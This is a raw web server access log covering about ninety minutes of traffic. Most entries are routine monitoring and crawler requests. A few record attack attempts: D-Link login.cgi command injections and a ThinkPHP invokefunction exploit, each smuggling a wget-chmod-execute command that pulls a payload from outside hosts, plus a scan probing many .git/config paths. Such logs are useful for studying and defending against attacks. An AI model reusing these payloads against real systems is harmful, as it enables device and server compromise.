212.91.246.72 - - [26/Feb/2020:14:10:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:14:11:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:14:12:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:14:13:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:14:14:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:14:15:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:14:16:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:14:17:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:14:18:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:14:19:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.172.78.114 - - [26/Feb/2020:14:20:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [26/Feb/2020:14:20:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:14:21:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
195.154.61.206 - - [26/Feb/2020:14:22:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0"
212.91.246.72 - - [26/Feb/2020:14:22:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:14:23:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.57.167.103 - - [26/Feb/2020:14:24:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:14:24:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:14:25:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:14:26:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:14:27:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:14:28:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:14:29:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:14:30:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:14:31:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:14:32:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:14:33:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:14:34:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:14:35:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:14:36:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
123.28.87.105 - - [26/Feb/2020:14:37:12 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:14:37:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:14:38:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.89.140.142 - - [26/Feb/2020:14:38:56 +0100] "\x16\x03\x01\x01D\x01" 501 321 "-" "-"
212.91.246.72 - - [26/Feb/2020:14:39:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:14:40:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:14:41:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:14:42:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:14:43:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.105.239.254 - - [26/Feb/2020:14:44:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:14:44:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:14:45:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:14:46:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:14:47:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:14:48:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
154.47.130.149 - - [26/Feb/2020:14:48:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
46.8.247.41 - - [26/Feb/2020:14:49:47 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:14:49:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:14:50:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
123.243.179.153 - - [26/Feb/2020:14:51:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [26/Feb/2020:14:51:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:14:52:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:14:53:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:14:54:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.10.110.5 - - [26/Feb/2020:14:54:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:14:55:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.29.132.242 - - [26/Feb/2020:14:55:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:14:56:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.122.128.129 - - [26/Feb/2020:14:57:44 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:14:57:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:14:58:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
162.243.131.223 - - [26/Feb/2020:14:59:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [26/Feb/2020:14:59:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:15:00:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
162.243.131.223 - - [26/Feb/2020:15:01:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [26/Feb/2020:15:01:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
162.243.131.223 - - [26/Feb/2020:15:02:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [26/Feb/2020:15:02:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
162.243.131.223 - - [26/Feb/2020:15:03:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
162.243.131.223 - - [26/Feb/2020:15:03:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [26/Feb/2020:15:03:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:15:04:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
162.243.131.223 - - [26/Feb/2020:15:04:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
66.249.64.211 - - [26/Feb/2020:15:05:22 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.64.215 - - [26/Feb/2020:15:05:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
162.243.131.223 - - [26/Feb/2020:15:05:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
45.184.18.2 - - [26/Feb/2020:15:05:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
162.243.131.223 - - [26/Feb/2020:15:05:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [26/Feb/2020:15:05:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:15:06:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.234.216.198 - - [26/Feb/2020:15:07:16 +0100] "GET /admin/.git/config HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0"
185.234.216.198 - - [26/Feb/2020:15:07:16 +0100] "GET /shop/.git/config HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0"
185.234.216.198 - - [26/Feb/2020:15:07:16 +0100] "GET /beta/.git/config HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0"
185.234.216.198 - - [26/Feb/2020:15:07:16 +0100] "GET /a/.git/config HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0"
185.234.216.198 - - [26/Feb/2020:15:07:16 +0100] "GET /git/.git/config HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0"
185.234.216.198 - - [26/Feb/2020:15:07:16 +0100] "GET /m/.git/config HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0"
185.234.216.198 - - [26/Feb/2020:15:07:16 +0100] "GET /staging/.git/config HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0"
185.234.216.198 - - [26/Feb/2020:15:07:16 +0100] "GET /dev/.git/config HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0"
185.234.216.198 - - [26/Feb/2020:15:07:16 +0100] "GET /store/.git/config HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0"
185.234.216.198 - - [26/Feb/2020:15:07:16 +0100] "GET /developer/.git/config HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0"
185.234.216.198 - - [26/Feb/2020:15:07:16 +0100] "GET /new/.git/config HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0"
185.234.216.198 - - [26/Feb/2020:15:07:16 +0100] "GET /qa/.git/config HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0"
185.234.216.198 - - [26/Feb/2020:15:07:17 +0100] "GET /.git/config HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0"
185.234.216.198 - - [26/Feb/2020:15:07:17 +0100] "GET /demo/.git/config HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0"
185.234.216.198 - - [26/Feb/2020:15:07:17 +0100] "GET /cms/.git/config HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0"
185.234.216.198 - - [26/Feb/2020:15:07:17 +0100] "GET /data/.git/config HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0"
185.234.216.198 - - [26/Feb/2020:15:07:17 +0100] "GET /live/.git/config HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0"
185.234.216.198 - - [26/Feb/2020:15:07:17 +0100] "GET /api/.git/config HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0"
162.243.131.223 - - [26/Feb/2020:15:07:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [26/Feb/2020:15:07:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:15:08:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:15:09:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:15:10:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:15:11:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:15:12:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:15:13:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:15:14:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:15:15:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
110.235.253.222 - - [26/Feb/2020:15:16:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:15:16:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:15:17:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:15:18:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:15:19:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:15:20:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:15:21:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:15:22:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:15:23:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.199.118.136 - - [26/Feb/2020:15:24:25 +0100] "GET http://51.77.91.132:1923/ HTTP/1.1" 200 1229 "-" "Go-http-client/1.1"
91.199.118.136 - - [26/Feb/2020:15:24:25 +0100] "GET http://51.77.91.132:1923/ HTTP/1.1" 200 1229 "-" "Go-http-client/1.1"
91.199.118.136 - - [26/Feb/2020:15:24:26 +0100] "GET http://51.77.91.132:1923/ HTTP/1.1" 200 1229 "-" "Go-http-client/1.1"
212.91.246.72 - - [26/Feb/2020:15:24:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:15:25:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:15:26:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:15:27:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:15:28:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:15:29:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:15:30:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.198.66.62 - - [26/Feb/2020:15:31:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [26/Feb/2020:15:31:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:15:32:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:15:33:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
64.82.155.189 - - [26/Feb/2020:15:33:57 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:15:34:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:15:35:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.64.43 - - [26/Feb/2020:15:36:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [26/Feb/2020:15:36:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:15:37:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:15:38:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:15:39:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:15:40:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:15:41:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.84.236.160 - - [26/Feb/2020:15:42:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:15:42:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.235.155.95 - - [26/Feb/2020:15:43:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:15:43:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.130.27.127 - - [26/Feb/2020:15:44:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:15:44:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:15:45:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.64.44 - - [26/Feb/2020:15:46:32 +0100] "GET /robots.txt HTTP/1.1" 404 318 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.64.44 - - [26/Feb/2020:15:46:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [26/Feb/2020:15:46:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:15:47:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:15:48:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
